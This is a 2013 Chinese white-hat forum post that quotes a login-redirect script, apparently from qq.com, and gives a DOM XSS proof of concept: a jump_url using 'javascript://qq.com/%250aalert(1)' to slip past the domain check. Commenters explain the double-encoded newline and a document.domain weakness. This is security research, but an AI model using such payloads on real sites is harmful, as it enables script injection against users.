当前位置:WooYun(白帽子技术社区) >> 我们都是猥琐流 >> 一个dom xss

一个dom xss

猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2013-01-15 19:42

<script type="text/javascript">
    //登录跳转页面
    (function () {
      var queryString = {
        split:function (url) {
          //url检查正则
          //http://vip.qq.com/life/uri/index.html#Related
          var regExp = new RegExp('^(?:([^:/?#.]+):)?(?://(?:([^/?#]*)@)?([\\w\\d\\-\\u0100-\\uffff.%]*)(?::([0-9]+))?)?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$');
          return url.match(regExp);
        },
        /**
         * 解析字符串到对象中,如
         * @param {string} str  被解析的字符串
         * @param {string='&'} seq  字符串分隔符
         * @param {string='='} eq   键值对象分隔符
         * @example
         *    queryString.parse('foo=bar&baz=qux&baz=quux&corge');
         *    // { foo: 'bar', baz: ['qux', 'quux'], corge: '' }
         * @return {Object.<string,string>} 返回解析后的字符串对象
         */
        parse:function (str, seq, eq) {
          seq = seq || '&';
          eq = eq || '=';
          var result = {};
          if (typeof str == 'string' && str.length > 0) {
            //切割字符串
            var strArr = str.split(seq);
            for (var i = 0, j = strArr.length; i < j; i++) {
              var key = "", value = "";
              //切割键值字符串
              var kvArr = strArr[i].split(eq);
              key = decodeURIComponent(kvArr[0]);
              value = decodeURIComponent(kvArr.slice(1).join(eq) || "");
              if (key) {
                //保存键值对
                if (typeof result[key] == 'undefined') {
                  result[key] = value;
                } else if (result[key].constructor == "Array") {
                  result[key].push(value);
                } else {
                  result[key] = [result[key], value];
                }
              }
            }
          }
          return result;
        }
      };
      //设置domain
      var urlComponent = queryString.parse(location.search.replace(/^\?/, ""));
      try {
        if (typeof urlComponent['domain'] != 'undefined') {
          document.domain = urlComponent['domain'];
        } else {
          document.domain = 'qq.com';
        }
      } catch (e) {
        //如果设置domain出错,如输入domain=abc.com或者domain=testqq.com;
        return false;
      }

      if (typeof urlComponent['jump_url'] != 'undefined') {
        //检查当前跳转的url的domain是不是document.domain的子域名
        //urlParams[3]就是host
        var urlParams = queryString.split(urlComponent['jump_url']);
        if (urlParams && typeof urlParams[3] != 'undefined') {
          var urlDomain = "." + urlParams[3];
          var domainIndex = urlDomain.lastIndexOf("." + document.domain);
          var index = urlDomain.length - document.domain.length - 1;
          if (domainIndex === index && domainIndex != -1) {
            top.window.location.href = urlComponent['jump_url'];
            return true;
          }
        }else if(urlComponent['jump_url']==""){
          parent.ptlogin2_onClose();
          parent.login_success();
        }
      }else{
        parent.ptlogin2_onClose();
        parent.__rdt__();
      }
      //top != self && top.window.location.reload();
    })();
  </script>


poc:

sssss.htm?jump_url=javascript://qq.com/%250aalert(1);

分享到:
  1. 1#
    回复此人 感谢
    0x0F (..........................................................................................................................................................................................................................................................) | 2013-01-15 19:45

    多收集点啊。学习。

  2. 2#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-01-15 20:12

    有点意思 场景特殊

  3. 3#
    回复此人 感谢
    半世倾尘 | 2013-01-15 20:50

    完全不懂。。。

  4. 4#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2013-01-15 23:39

    这个应该也可以用WooYun: Safari location污染漏洞来绕过吧

  5. 5#
    回复此人 感谢
    心伤的胖子 (天凉好个球) | 2013-01-16 00:34

    求URL学习,ps:还有一处问题。

  6. 6#
    回复此人 感谢
    心伤的胖子 (天凉好个球) | 2013-01-16 00:36

    刚说完就有科普了,http://zone.wooyun.org/content/2365
    var urlComponent = queryString.parse(location.search.replace(/^\?/, ""));
          try {
            if (typeof urlComponent['domain'] != 'undefined') {
              document.domain = urlComponent['domain'];
            } else {
              document.domain = 'qq.com';
            }
          } catch (e) {
            //如果设置domain出错,如输入domain=abc.com或者domain=testqq.com;
            return false;
          }


    这段代码可以设置document.domain为com域,对于webkit浏览器就可以对其注入js代码。

  7. 7#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2013-01-16 00:38

    @心伤的胖子 好巧啊。。

  8. 8#
    回复此人 感谢
    心伤的胖子 (天凉好个球) | 2013-01-16 00:40

    哈哈,顶sogili牛。

  9. 9#
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2013-01-16 09:40

    这么多马甲。。不科学。

  10. 10#
    回复此人 感谢
    猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2013-01-16 13:21

    嗯 当时我测试过了,那个地方url不支持  .

  11. 11#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2013-02-06 15:51

    @猪猪侠 @gainover @Sogili @心伤的胖子 @xsser %250a为什么要二次编码

  12. 12#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2013-02-06 16:15

    @_Evil  
    sssss.htm?jump_url=javascript://qq.com/%250aalert(1);
    服务端urldecode一次后页面输出的jump_url就变成了:
    javascript://qq.com/%0aalert(1);
    执行时就变成了
    location='javascript://qq.com/%0aalert(1);';
    为什么换行符需要进行二次编码?
    /*case 1*/location='javascript://qq.com/\r\nalert(1);';//代码执行成功,未执行js
    /*case 2*/location='javascript://qq.com/%0aalert(1);';//成功执行js

    如果我们只进行一次编码到执行时就变成了case1,js将不被执行,所以需要进行二次编码.

  13. 13#
    回复此人 感谢
    猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2013-02-06 21:22

    decodeURIComponent()的原因 自己调试下就知道了

  14. 14#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2013-04-02 10:52

    @Sogili 心伤瘦子之换行符的魅力。

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录